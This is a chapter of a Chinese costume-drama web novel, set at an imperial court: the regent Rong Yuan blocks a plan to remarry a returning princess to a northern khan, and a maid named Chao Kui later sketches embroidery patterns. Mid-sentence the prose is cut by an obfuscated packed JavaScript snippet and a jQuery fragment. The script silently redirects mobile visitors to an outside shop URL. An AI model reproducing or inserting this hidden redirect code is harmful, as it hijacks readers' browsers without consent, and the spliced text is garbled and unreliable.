热意由掌心蔓至心间。
容渊轻轻抚摸着手中暖炉上细密柔软的兔毛炉套。
制作炉套的人定然费了一番巧思,才将套子制成兔子的形状,套在手炉上不仔细瞧就像是抱了一只肥圆的兔子在手上。
但这放在容渊手中显然极为不搭。
金殿之上,容渊列于文武百官之首,一身亲王服饰格外扎眼。
大晟自开国以来,凡封王者皆需到封地就藩,无召不得入京。
可容渊却是个例外,毕竟他也是开国以来唯一的异姓王,皇帝下旨准他京中设府,旁人自然也不敢有所异议,而且不论是对皇帝还是对朝臣而言,将这位摄政王放在京中显然比放在封地单独设府割据一方来的安全。
龙位上,年少的皇帝如坐针毡,他偷偷看了眼容渊,又看看众朝臣,等了一会后,他清清嗓子,道:“诸位爱卿可还有事要奏?无事那便退……”
“臣、有本要奏。”吏部尚书周廷璋缓缓出列。
冕旒后,皇帝翻了个白眼。
但他很快又换上笑脸:“舅舅有何事要奏啊?”
“启禀陛下,北辽遣使携黄金珍宝言愿向我朝称臣纳贡,永结邦交,乞求陛下准其入关觐见。”
“好事啊!”皇帝听了后乐道,“那让他们赶紧来,朕设宴款待!”
“陛下不知,使者怕是来不了了。”
“为何?”
“有人为一己私情拦截扣押使者,妄图阻碍两国邦交挑起战火,置天下百姓安危于不顾。”
“何人如此大胆!”皇帝义愤道。
周廷璋的目光看向了专席独坐,位于百官之上的容渊。
皇帝的目光是一直跟着周廷璋的,等最后落到容渊身上,他顿时气焰全无,呆呆地“啊?”了一声。
“定、定……”皇帝看着容渊好半晌都没憋出一句话,直到他的目光撇到到容渊手中的兔子手炉,他下意识地来了句:“定王的手炉好别致啊!”
说完,皇帝就后悔了。
他这是说的什么啊!
未曾料想,听到这话,原本几乎算是闭目而坐的容渊竟是骤然抬起眼皮,他将捧在手心的手炉往外拿出了些,“陛下也觉得臣的手炉很可爱吗?”
“啊?”小皇帝一时没反应过来,他看看容渊,见其神色认真,又看看那手炉,造型确实可爱,他本就顺从容渊惯了,于是点点头。
容渊摸着手中尚有余温的手炉,脸上难得有了几分柔和。
“定王休要混淆圣听。”那边周廷璋见容渊竟试图用一个手炉转移皇帝视线,赶忙试图将话题拉回来。可容渊并不接茬,而是同样问道:“周大人也觉得孤的手炉可爱吗?”
听到容渊这话,周廷璋皱起眉头,他觉得容渊今日甚是奇怪,为何非拿着个破手炉说不停,难不成这手炉有何玄机?
他不禁看了眼容渊手中的手炉,看了之后却不由轻嗤,不过是些闺阁女儿爱弄的刁钻花样罢了!
但很快他像是意识到了什么,语气带了几分嘲讽,道:“王爷可真乃风流人物,可朝会重地,这等传情的私物带入殿中怕是不妥吧。”
“传情?”
容渊细细品味了一下这两个字。
周廷璋本是见缝插针地攻讦几句,若是容渊为此大动干戈那自是最好不过,这样他便能顺水推舟给这位摄政王再增添一条与同僚为恶的罪名。
群蚁可溃堤,纵使他容渊再权倾朝野、势如中天,可一但人心尽失,又能得意几时。
但容渊并未发作,反倒是一副心情很好的样子:“周大人说的对。”
周廷璋被容渊这副油盐不进的闲适姿态气得胡子一吹,他搞不懂容渊怎么一改往日强势狂傲之态,但想到自己所得消息,他扬起嘴角,道:“王爷红袖在侧,却可还记得绥靖公主。”
容渊手上动作一顿。
见状,周廷璋继续:“陛下,当年公主和亲北辽嫁与可汗为妃,前些时日,边境传来邸报,北辽可汗故去,公主修书一封,祈求归朝。”
听到这话,原本死寂的朝堂开始议论纷纷。
皇帝对此心不在焉,并不关心。
那绥靖公主本来也不是什么天家公主,甚至当时只能算是个罪臣之女,能成为公主代替皇姐和亲也算她之幸了。
至于回不回来,好像也没什么所谓。
“定王怎么看?”皇帝下意识地询问容渊的意见。
可容渊还没开口,就听周廷璋道:“王爷自是希望迎回公主。”
此话一落,朝中资历老些的臣子立即想到这位绥靖公主和亲前是长平侯府邓家女,长平侯与武成侯交好,两家幼子幼女年岁相仿,青梅竹马,情意甚笃,当时甚至传闻两家有结亲之意。
而那武成侯幼子正是当今的定王。
不少朝臣偷偷看向容渊。
这时,那周廷璋又继续道:“如今北辽可汗之位由先可汗的弟弟巴伦王子所继,巴伦乃北辽第一勇士,心慕公主已久,北辽本就有兄终弟及的习俗,因此新可汗有意迎娶公主,还派使臣献宝愿与我朝继续结秦晋之好。”
本来议论纷纷的朝堂,周廷璋这话一出,风向立马就一边倒,一个女人就能换取边境安定、异国称臣,怎么看都是划算的。
况且这个女人本身就已经用过一次了,再继续用下去又有何妨。
皇帝自然也是这么想:“这很好啊,美人配勇士,多般配啊!”
“朕准……”
“不行。”
一直没有说话的容渊突然开口。
皇帝瞬间不敢说话了。
“定王屡屡横阻两国邦交,先前无故扣押来使,如今又执意阻拦,不知殿下是囿于旧日私情,还是心怀异志、另有所图?”
周廷璋怀着乘胜追击的气势质问容渊。
容渊却并不理会,只是淡淡看向龙位之上的皇帝:“陛下,此事不妥。”那神情明明平淡寻常,可皇帝刚对上容渊的视线便不由遍体生寒,他的骨头一向软,几乎是没有犹豫便道:“不妥不妥!”
“陛下!”
见状,周廷璋面露急色,他这不成器的外甥,竟被容渊拿捏至此。
“退朝退朝!”小皇帝一股不干了的架势朝着群臣挥挥手。
待朝会结束,朝臣们鱼贯而出,周廷璋拦住容渊的去路:“定王今日这般威逼陛下,就不怕天下人议论您包藏祸心,妄图挟天子以令诸侯吗?”
这话一出,不少朝臣纷纷看了过来。
“周大人现在不就在议论了。”
容渊依旧气定神闲地捧着他的兔子手炉,甚至并未看向周廷璋。
“你……”
周廷璋顿时一噎。
容渊摸着已经凉了的手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535550|203686||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
炉,略过周廷璋,道:“孤该回去了。”
周廷璋看着容渊的背影气急败坏地甩了甩袖子。
朝葵甩了甩酸疼的胳膊。
她方才与罗绮罗织说明了来意,姐妹二人自是很热心地说愿意帮她。
这会她正在姐妹二人的指导进行制衣初期的打版。
朝葵按照自己心中所想绘着图,但很多画了几笔她又觉得不满意,因此弄了半天,她才将将绘出不到一半。
“砰!”
门口突然传来一声响音,三个女孩本来一起聚精会神地谈论着图样,这一声响把三人吓了一跳。三人纷纷抬头,只见锦衣皮靴的少年拿着个蹴鞠从门外跑了进来。
待看清来人,罗织最先反应:“我的爷,你要吓死我们不成?”
罗织一边拍着胸口一边嗔怪。
来人正是文渊侯府的小侯爷容楫。
“你们在干什么?”容楫凑到三人中间,他看了眼岸上的图纸,图纸中有朝葵刚画好的绣纹。容楫指着那绣纹问道:“这是鸭子吗?”
朝葵撂下笔,不可置信地抬头看向容楫:“什么鸭子!这是鹤!”她本就不太利索的胎发,此刻全竖了起来。
朝葵拿起图纸左看看右看看,明明就是鹤嘛,哪里看出来的鸭子!
“这就是鹤啊。”罗织也面露疑惑,她们姐妹都是极厉害的绣娘,不至于连鹤与鸭子分不清。
而一旁的罗绮看向憋着笑的小侯爷,再看看炸毛的朝葵和自家的傻妹妹,无奈道:“您可别逗她们了。”
罗绮话音刚落,那边容楫就传来大笑声。
意识到被戏弄,朝葵和罗织纷纷朝容楫冷哼,容楫被婢女如此对待也不恼,而是学着戏文中书生赔罪的模样拱手作揖,道:“几位姐姐,小生错了。”
朝葵不理,罗绮含笑,罗织微微斜了斜眼。
见状,小侯爷掏出杀手锏,他把手中的蹴鞠拿到几人眼前,“唉,看来是没有人愿意跟我出去玩球了。”
片刻后,一众少男少女出现在容家校场。
“我们来这玩没关系吗?”一位容楫找来的旁支少爷怯生生道。
“无碍,这校场本就属家学的习武场,如今四叔准所有族中子弟以及仆婢来此进学,在这里玩个蹴鞠自是没关系。”小侯爷道。
容渊家中排行第四,小辈为表亲近都称其为“四叔”。
听小侯爷提及容渊,朝葵不免有几分有荣与焉,她家主人就是这么好,不论出身贵贱,对待所有人都一视同仁。
“别愣着了,我们快去玩吧。”几个姑娘婢女拉上朝葵。
难得人多热闹,一众年轻男女很快踢成一片。
“前方就是校场,可供族中子弟习武习射,那里还有一处蹴球场,四叔请看……”
不远处,大公子容桓兴致勃勃地给容渊介绍着扩建好的家学场地。
自从容渊提出扩充家学,容氏众人便开始张罗着大建,几年来,断断续续新建了许多新场地。
“以后不必再修建场地。”
容渊下朝后本欲回府,不成想碰到容桓,请他来看家学扩建情况。他的原意是扩充听学的人,他们却大兴土木、扩建场地。
容渊眉心微蹙,不欲再看。
容桓见状战战兢兢应是,正当容渊要转身离开,他忽然听到了一道极为熟悉的笑声……